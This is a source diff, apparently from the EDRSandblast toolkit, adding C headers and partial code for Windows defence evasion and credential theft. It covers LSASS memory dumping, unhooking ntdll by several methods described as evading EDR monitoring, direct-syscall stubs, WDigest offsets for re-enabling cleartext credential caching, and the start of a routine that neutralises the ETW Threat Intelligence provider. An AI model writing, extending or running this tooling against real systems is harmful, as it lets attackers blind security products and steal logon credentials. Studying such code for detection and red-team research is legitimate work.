|
||||
symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path);
|
||||
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name);
|
||||
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name);
|
||||
void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb);
|
||||
@@ -0,0 +1,16 @@
|
||||
/*
|
||||
|
||||
--- LSASS dump functions.
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
//typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
|
||||
typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PVOID ExceptionParam, PVOID UserStreamParam, PVOID CallbackParam);
|
||||
|
||||
|
||||
DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile);
|
||||
DWORD WINAPI dumpProcessFromThread(PVOID* args);
|
||||
@@ -0,0 +1,29 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <tchar.h>
|
||||
|
||||
enum ProcessorArchitecture {
|
||||
AMD64 = 9,
|
||||
INTEL = 0,
|
||||
};
|
||||
|
||||
#if _WIN64
|
||||
#define PROCESSOR_ARCHITECTURE AMD64
|
||||
#define SIZE_OF_SYSTEM_INFO_STREAM 48
|
||||
#else
|
||||
#define PROCESSOR_ARCHITECTURE INTEL
|
||||
#define SIZE_OF_SYSTEM_INFO_STREAM 56
|
||||
#endif
|
||||
|
||||
typedef struct _DUMP_CONTEXT {
|
||||
HANDLE hProcess;
|
||||
PVOID BaseAddress;
|
||||
ULONG32 RVA;
|
||||
SIZE_T DumpMaxSize;
|
||||
ULONG32 Signature;
|
||||
USHORT Version;
|
||||
USHORT ImplementationVersion;
|
||||
} DUMP_CONTEXT, * PDUMP_CONTEXT;
|
||||
|
||||
DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath);
|
||||
DWORD SandMiniDumpWriteDumpFromThread(PVOID* args);
|
||||
@@ -0,0 +1,34 @@
|
||||
#include <Windows.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "Undoc.h"
|
||||
|
||||
typedef struct _MODULE_INFO {
|
||||
struct _MODULE_INFO* next;
|
||||
ULONG64 dllBase;
|
||||
ULONG32 ImageSize;
|
||||
WCHAR dllName[256];
|
||||
ULONG32 nameRVA;
|
||||
ULONG32 timeDateStamp;
|
||||
ULONG32 checkSum;
|
||||
} MODULE_INFO, * PMODULE_INFO;
|
||||
|
||||
typedef struct _MEMORY_PAGE_INFO {
|
||||
struct _MEMORY_PAGE_INFO* next;
|
||||
ULONG64 startOfMemoryPage;
|
||||
ULONG64 dataSize;
|
||||
DWORD state;
|
||||
DWORD protect;
|
||||
DWORD type;
|
||||
} MEMORY_PAGE_INFO, * PMEMORY_PAGE_INFO;
|
||||
|
||||
PVOID GetRVA(ULONG_PTR baseAddress, ULONG_PTR RVA);
|
||||
|
||||
// Return a pointer to the target process PEB Ldr (as a pseudo LDR_DATA_TABLE_ENTRY).
|
||||
PLDR_DATA_TABLE_ENTRY getPebLdrAddress(HANDLE hProcess);
|
||||
|
||||
// Return a module info list of loaded moduler in InMemoryOrder.
|
||||
PMODULE_INFO getModulesInLdrByInMemoryOrder(HANDLE hProcess);
|
||||
|
||||
PMEMORY_PAGE_INFO getMemoryPagesInfo(HANDLE hProcess, BOOL filterPage);
|
||||
@@ -10,15 +10,9 @@
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
|
||||
//extern union NtoskrnlOffsets ntoskrnlOffsets;
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
#endif
|
||||
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
|
||||
|
||||
#define PROTECTED_PROCESS_MASK 0x00000800
|
||||
|
||||
/*
|
||||
* Defines the NtQuerySystemInformation function.
|
||||
@@ -80,4 +74,4 @@ typedef enum _PS_PROTECTED_SIGNER {
|
||||
|
||||
DWORD64 GetSelfEPROCESSAddress(BOOL verbose);
|
||||
|
||||
int SetCurrentProcessAsProtected(BOOL verbose);
|
||||
int SetCurrentProcessAsProtected(BOOL verbose);
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
#pragma once
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
#ifndef SW2_HEADER_H_
|
||||
#define SW2_HEADER_H_
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#include "Undoc.h"
|
||||
|
||||
#define SW2_SEED 0xE14B0D06
|
||||
#define SW2_ROL8(v) (v << 8 | v >> 24)
|
||||
#define SW2_ROR8(v) (v >> 8 | v << 24)
|
||||
#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
|
||||
#define SW2_MAX_ENTRIES 500
|
||||
#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
||||
|
||||
// Typedefs are prefixed to avoid pollution.
|
||||
|
||||
typedef struct _SW2_SYSCALL_ENTRY
|
||||
{
|
||||
DWORD Hash;
|
||||
DWORD RVA;
|
||||
DWORD SyscallNumber;
|
||||
} SW2_SYSCALL_ENTRY, * PSW2_SYSCALL_ENTRY;
|
||||
|
||||
typedef struct _SW2_SYSCALL_LIST
|
||||
{
|
||||
DWORD Count;
|
||||
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
|
||||
} SW2_SYSCALL_LIST, * PSW2_SYSCALL_LIST;
|
||||
|
||||
|
||||
DWORD SW2_HashSyscall(PCSTR FunctionName);
|
||||
BOOL SW2_PopulateSyscallList(void);
|
||||
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash);
|
||||
|
||||
#ifndef InitializeObjectAttributes
|
||||
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
#endif
|
||||
|
||||
EXTERN_C NTSTATUS NtGetNextProcess(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN ULONG HandleAttributes,
|
||||
IN ULONG Flags,
|
||||
OUT PHANDLE NewProcessHandle);
|
||||
|
||||
EXTERN_C NTSTATUS NtQueryInformationProcess(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PROCESSINFOCLASS ProcessInformationClass,
|
||||
OUT PVOID ProcessInformation,
|
||||
IN ULONG ProcessInformationLength,
|
||||
OUT PULONG ReturnLength OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtClose(
|
||||
IN HANDLE Handle);
|
||||
|
||||
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect);
|
||||
|
||||
EXTERN_C NTSTATUS NtOpenProcess(
|
||||
OUT PHANDLE ProcessHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
IN PCLIENT_ID ClientId OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtQueryVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress,
|
||||
IN MEMORY_INFORMATION_CLASS MemoryInformationClass,
|
||||
OUT PVOID MemoryInformation,
|
||||
IN SIZE_T MemoryInformationLength,
|
||||
OUT PSIZE_T ReturnLength OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtReadVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress OPTIONAL,
|
||||
OUT PVOID Buffer,
|
||||
IN SIZE_T BufferSize,
|
||||
OUT PSIZE_T NumberOfBytesRead OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtCreateFile(
|
||||
OUT PHANDLE FileHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN PLARGE_INTEGER AllocationSize OPTIONAL,
|
||||
IN ULONG FileAttributes,
|
||||
IN ULONG ShareAccess,
|
||||
IN ULONG CreateDisposition,
|
||||
IN ULONG CreateOptions,
|
||||
IN PVOID EaBuffer OPTIONAL,
|
||||
IN ULONG EaLength);
|
||||
|
||||
EXTERN_C NTSTATUS NtWriteFile(
|
||||
IN HANDLE FileHandle,
|
||||
IN HANDLE Event OPTIONAL,
|
||||
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
|
||||
IN PVOID ApcContext OPTIONAL,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN PVOID Buffer,
|
||||
IN ULONG Length,
|
||||
IN PLARGE_INTEGER ByteOffset OPTIONAL,
|
||||
IN PULONG Key OPTIONAL);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,29 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include "winerror.h"
|
||||
#include <wincrypt.h>
|
||||
#include <wintrust.h>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
|
||||
typedef
|
||||
enum _SignatureOpsError {
|
||||
E_FILE_NOT_FOUND = -2,
|
||||
E_KO = -1,
|
||||
E_SUCCESS = 0,
|
||||
E_INSUFFICIENT_BUFFER = 1,
|
||||
E_NOT_SIGNED = 2
|
||||
} SignatureOpsError;
|
||||
//typedef enum _signatureOpsError signatureOpsError;
|
||||
|
||||
/*
|
||||
* Retrieves a string containing the Signers of the specificied file concatenated.
|
||||
* Parameters:
|
||||
* [in] pFilePath: path the file.
|
||||
* [out] outSigners: out string that will contain the concatenated Signers. If outSigners is NULL, szOutSigners will contain the number of TCHAR required for the output string (termination included).
|
||||
* [in,out] szOutSigners: length of outSigners. If szOutSigners is too small, szOutSigners will contain the number of TCHAR required for the output string (termination included).
|
||||
*/
|
||||
SignatureOpsError GetFileSigners(TCHAR* pFilePath, TCHAR* outSigners, size_t* szOutSigners);
|
||||
@@ -0,0 +1,12 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "Undoc.h"
|
||||
#include "time.h"
|
||||
|
||||
VOID getUnicodeStringFromTCHAR(OUT PUNICODE_STRING unicodeString, IN WCHAR* tcharString);
|
||||
|
||||
TCHAR* generateRandomString(TCHAR* str, size_t size);
|
||||
TCHAR* allocAndGenerateRandomString(size_t length);
|
||||
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "SW2_Syscalls.h"
|
||||
|
||||
#define ProcessImageFileName 27
|
||||
|
||||
DWORD SandGetProcessPID(HANDLE hProcess);
|
||||
|
||||
PUNICODE_STRING SandGetProcessImage(HANDLE hProcess);
|
||||
|
||||
DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize);
|
||||
|
||||
DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid);
|
||||
@@ -0,0 +1,4 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
PVOID CreateSyscallStubWithVirtuallAlloc(LPCSTR ntFunctionName);
|
||||
+116
-10
@@ -148,6 +148,7 @@
|
||||
#ifdef _MSC_VER
|
||||
//when compiling as C
|
||||
#pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int
|
||||
#pragma warning (disable:4201) //Warning Level 4: C4201: nonstandard extension used: nameless struct/union
|
||||
|
||||
//"#pragma pack(1)" not needed as Microsoft has designed all structure members to be on natural boundaries
|
||||
|
||||
@@ -276,9 +277,15 @@ struct RTL_CRITICAL_SECTION
|
||||
|
||||
typedef struct _CLIENT_ID
|
||||
{
|
||||
DWORD ProcessId;
|
||||
DWORD ThreadId;
|
||||
} CLIENT_ID;
|
||||
HANDLE ProcessId;
|
||||
HANDLE ThreadId;
|
||||
} CLIENT_ID, * PCLIENT_ID;
|
||||
|
||||
//typedef struct _CLIENT_ID
|
||||
//{
|
||||
// HANDLE UniqueProcess;
|
||||
// HANDLE UniqueThread;
|
||||
//} CLIENT_ID, * PCLIENT_ID;
|
||||
|
||||
/*
|
||||
typedef struct _PROCESSOR_NUMBER
|
||||
@@ -293,16 +300,15 @@ typedef struct _STRING
|
||||
{
|
||||
WORD Length;
|
||||
WORD MaximumLength;
|
||||
CHAR* Buffer;
|
||||
CHAR* Buffer;
|
||||
} STRING;
|
||||
|
||||
typedef struct _UNICODE_STRING
|
||||
{
|
||||
WORD Length;
|
||||
WORD MaximumLength;
|
||||
WCHAR* Buffer;
|
||||
} UNICODE_STRING;
|
||||
|
||||
WCHAR* Buffer;
|
||||
} UNICODE_STRING, * PUNICODE_STRING;
|
||||
|
||||
//
|
||||
// Exception-specific structures and definitions
|
||||
@@ -469,7 +475,7 @@ typedef struct _PEB_LDR_DATA
|
||||
LIST_ENTRY InMemoryOrderModuleList; //0x14
|
||||
LIST_ENTRY InInitializationOrderModuleList; //0x1C
|
||||
void* EntryInProgress; //0x24
|
||||
} PEB_LDR_DATA;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
typedef struct PEB_FREE_BLOCK PEB_FREE_BLOCK;
|
||||
struct PEB_FREE_BLOCK
|
||||
@@ -509,7 +515,7 @@ typedef struct _RTL_USER_PROCESS_PARAMETERS
|
||||
UNICODE_STRING ShellInfo; //0x80
|
||||
UNICODE_STRING RuntimeData; //0x88
|
||||
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20]; //0x90
|
||||
} RTL_USER_PROCESS_PARAMETERS;
|
||||
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
|
||||
|
||||
//
|
||||
// PEB (Process Environment Block) 32-bit
|
||||
@@ -728,7 +734,7 @@ typedef struct _PEB
|
||||
} dword254;
|
||||
void* WaitOnAddressHashTable[128]; //0x025C
|
||||
|
||||
} PEB;
|
||||
} PEB, * PPEB;
|
||||
|
||||
|
||||
//
|
||||
@@ -1152,4 +1158,104 @@ typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
LIST_ENTRY StaticLinks;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||||
#define FILE_SUPERSEDE 0x00000000
|
||||
#define FILE_OPEN 0x00000001
|
||||
#define FILE_CREATE 0x00000002
|
||||
#define FILE_OPEN_IF 0x00000003
|
||||
#define FILE_OVERWRITE 0x00000004
|
||||
#define FILE_MAXIMUM_DISPOSITION 0x00000005
|
||||
#define FILE_DIRECTORY_FILE 0x00000001
|
||||
#define FILE_WRITE_THROUGH 0x00000002
|
||||
#define FILE_SEQUENTIAL_ONLY 0x00000004
|
||||
#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008
|
||||
#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010
|
||||
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
|
||||
#define FILE_NON_DIRECTORY_FILE 0x00000040
|
||||
#define FILE_CREATE_TREE_CONNECTION 0x00000080
|
||||
#define FILE_COMPLETE_IF_OPLOCKED 0x00000100
|
||||
#define FILE_NO_EA_KNOWLEDGE 0x00000200
|
||||
#define FILE_OPEN_FOR_RECOVERY 0x00000400
|
||||
#define FILE_RANDOM_ACCESS 0x00000800
|
||||
#define FILE_DELETE_ON_CLOSE 0x00001000
|
||||
#define FILE_OPEN_BY_FILE_ID 0x00002000
|
||||
#define FILE_OVERWRITE_IF 0x00000005
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK
|
||||
{
|
||||
union
|
||||
{
|
||||
NTSTATUS Status;
|
||||
VOID* Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES
|
||||
{
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
||||
|
||||
typedef enum _PROCESSINFOCLASS
|
||||
{
|
||||
ProcessBasicInformation = 0,
|
||||
ProcessDebugPort = 7,
|
||||
ProcessWow64Information = 26,
|
||||
ProcessImageFileName = 27,
|
||||
ProcessBreakOnTermination = 29
|
||||
} PROCESSINFOCLASS, * PPROCESSINFOCLASS;
|
||||
|
||||
typedef VOID(NTAPI* PIO_APC_ROUTINE) (
|
||||
IN PVOID ApcContext,
|
||||
IN PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN ULONG Reserved);
|
||||
|
||||
typedef LONG KPRIORITY;
|
||||
typedef struct _PROCESS_BASIC_INFORMATION {
|
||||
NTSTATUS ExitStatus;
|
||||
PPEB PebBaseAddress;
|
||||
ULONG_PTR AffinityMask;
|
||||
KPRIORITY BasePriority;
|
||||
ULONG_PTR UniqueProcessId;
|
||||
ULONG_PTR InheritedFromUniqueProcessId;
|
||||
} PROCESS_BASIC_INFORMATION;
|
||||
typedef enum _MEMORY_INFORMATION_CLASS {
|
||||
MemoryBasicInformation,
|
||||
MemoryWorkingSetInformation,
|
||||
MemoryMappedFilenameInformation,
|
||||
MemoryRegionInformation,
|
||||
MemoryWorkingSetExInformation,
|
||||
MemorySharedCommitInformation,
|
||||
MemoryImageInformation,
|
||||
MemoryRegionInformationEx,
|
||||
MemoryPrivilegedBasicInformation,
|
||||
MemoryEnclaveImageInformation,
|
||||
MemoryBasicInformationCapped
|
||||
} MEMORY_INFORMATION_CLASS, * PMEMORY_INFORMATION_CLASS;
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
#endif
|
||||
|
||||
#define STATUS_SUCCES 0x00000000
|
||||
#define STATUS_UNSUCCESSFUL 0xC0000001
|
||||
#define STATUS_PARTIAL_COPY 0x8000000D
|
||||
#define STATUS_ACCESS_DENIED 0xC0000022
|
||||
#define STATUS_OBJECT_PATH_NOT_FOUND 0xC000003A
|
||||
#define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034
|
||||
#define STATUS_OBJECT_NAME_INVALID 0xc0000033
|
||||
#define STATUS_SHARING_VIOLATION 0xC0000043
|
||||
#define STATUS_NO_MORE_ENTRIES 0x8000001A
|
||||
#define STATUS_INVALID_CID 0xC000000B
|
||||
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
|
||||
#define STATUS_OBJECT_PATH_SYNTAX_BAD 0xC000003B
|
||||
#define STATUS_BUFFER_TOO_SMALL 0xC0000023
|
||||
#define STATUS_OBJECT_NAME_COLLISION 0xC0000035
|
||||
#define STATUS_ALERTED 0x00000101
|
||||
|
||||
#include "undoc_64.h"
|
||||
|
||||
@@ -95,8 +95,8 @@ typedef struct UNICODE_STRING64
|
||||
} u;
|
||||
QWORD dummyalign;
|
||||
} uOrDummyAlign;
|
||||
QWORD Buffer;
|
||||
} UNICODE_STRING64;
|
||||
WCHAR* Buffer;
|
||||
} UNICODE_STRING64, * PUNICODE_STRING64;
|
||||
|
||||
typedef struct _CLIENT_ID64
|
||||
{
|
||||
@@ -104,7 +104,6 @@ typedef struct _CLIENT_ID64
|
||||
QWORD ThreadId;
|
||||
} CLIENT_ID64;
|
||||
|
||||
|
||||
//NOTE: the members of this structure are not yet complete
|
||||
typedef struct _RTL_USER_PROCESS_PARAMETERS64
|
||||
{
|
||||
@@ -215,7 +214,7 @@ typedef struct PEB64
|
||||
QWORD SystemAssemblyStorageMap; //0x0310
|
||||
QWORD MinimumStackCommit; //0x0318
|
||||
|
||||
} PEB64; //struct PEB64
|
||||
} PEB64, * PPEB64; //struct PEB64
|
||||
|
||||
//
|
||||
// TEB64 structure - preliminary structure; the portion listed current at least as of Windows 8
|
||||
|
||||
@@ -1,52 +1,61 @@
|
||||
#pragma once
|
||||
#include "PEParser.h"
|
||||
|
||||
typedef struct diff_t {
|
||||
PVOID disk_ptr;
|
||||
PVOID mem_ptr;
|
||||
size_t size;
|
||||
} diff;
|
||||
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
|
||||
#if _WIN64
|
||||
#define PATCH_MAX_SIZE 0x18
|
||||
#else
|
||||
#define PATCH_MAX_SIZE 0x10
|
||||
#endif
|
||||
|
||||
typedef struct hook_t {
|
||||
PVOID disk_function;
|
||||
PVOID mem_function;
|
||||
LPCSTR functionName;
|
||||
diff* list_patches;
|
||||
} hook;
|
||||
typedef struct PATCH_DIFF_t {
|
||||
PVOID disk_ptr;
|
||||
PVOID mem_ptr;
|
||||
size_t size;
|
||||
} PATCH_DIFF;
|
||||
|
||||
typedef struct HOOK_t {
|
||||
PVOID disk_function;
|
||||
PVOID mem_function;
|
||||
LPCSTR functionName;
|
||||
PATCH_DIFF* list_patches;
|
||||
} HOOK;
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory) (
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN OUT PSIZE_T NumberOfBytesToProtect,
|
||||
IN ULONG NewAccessProtection,
|
||||
OUT PULONG OldAccessProtection);
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN OUT PSIZE_T NumberOfBytesToProtect,
|
||||
IN ULONG NewAccessProtection,
|
||||
OUT PULONG OldAccessProtection);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pRtlGetVersion)(
|
||||
OUT LPOSVERSIONINFOEXW lpVersionInformation);
|
||||
OUT LPOSVERSIONINFOEXW lpVersionInformation);
|
||||
|
||||
enum unhook_method_e {
|
||||
UNHOOK_NONE,
|
||||
typedef enum UNHOOK_METHOD_e {
|
||||
UNHOOK_NONE,
|
||||
|
||||
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
|
||||
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
|
||||
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
|
||||
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
|
||||
|
||||
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
|
||||
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
|
||||
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
|
||||
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
|
||||
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
|
||||
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
|
||||
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
|
||||
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
|
||||
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
|
||||
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
|
||||
|
||||
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
|
||||
UNHOOK_WITH_DIRECT_SYSCALL
|
||||
};
|
||||
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
|
||||
UNHOOK_WITH_DIRECT_SYSCALL
|
||||
}UNHOOK_METHOD;
|
||||
|
||||
hook* searchHooks(const char* csvFileName);
|
||||
_Ret_notnull_ HOOK* searchHooks(const char* csvFileName);
|
||||
PVOID hookResolver(PBYTE hookAddr);
|
||||
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method);
|
||||
VOID unhook(hook* hook, DWORD unhook_method);
|
||||
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget);
|
||||
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch);
|
||||
VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method);
|
||||
|
||||
|
||||
/*
|
||||
|
||||
@@ -13,7 +13,8 @@
|
||||
|
||||
enum WdigestOffsetType {
|
||||
g_fParameter_UseLogonCredential = 0,
|
||||
g_IsCredGuardEnabled = 1
|
||||
g_IsCredGuardEnabled = 1,
|
||||
_SUPPORTED_WDIGEST_OFFSETS_END
|
||||
};
|
||||
|
||||
union WdigestOffsets {
|
||||
@@ -29,7 +30,12 @@ union WdigestOffsets {
|
||||
DWORD64 ar[2];
|
||||
};
|
||||
|
||||
union WdigestOffsets wdigestOffsets;
|
||||
union WdigestOffsets g_wdigestOffsets;
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename);
|
||||
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename);
|
||||
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename);
|
||||
|
||||
void LoadWdigestOffsetsFromInternet(BOOL delete_pdb);
|
||||
|
||||
LPTSTR GetWdigestPath();
|
||||
@@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <aclapi.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
|
||||
#if !defined(PRINT_ERROR_AUTO)
|
||||
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
|
||||
#endif
|
||||
|
||||
#define MAX_UNINSTALL_ATTEMPTS 3
|
||||
#define OP_SLEEP_TIME 1000
|
||||
|
||||
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle);
|
||||
|
||||
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus);
|
||||
|
||||
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt);
|
||||
|
||||
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount);
|
||||
@@ -0,0 +1,66 @@
|
||||
/*
|
||||
|
||||
--- ETW Threat Intelligence operations.
|
||||
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
|
||||
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "../EDRSandBlast.h"
|
||||
#include "ETWThreatIntel.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
|
||||
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) {
|
||||
if (g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) {
|
||||
_putts_or_not(TEXT("[!] [ETWTI]\tETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel."));
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadKernelMemoryDWORD64(g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle);
|
||||
if (verbose) {
|
||||
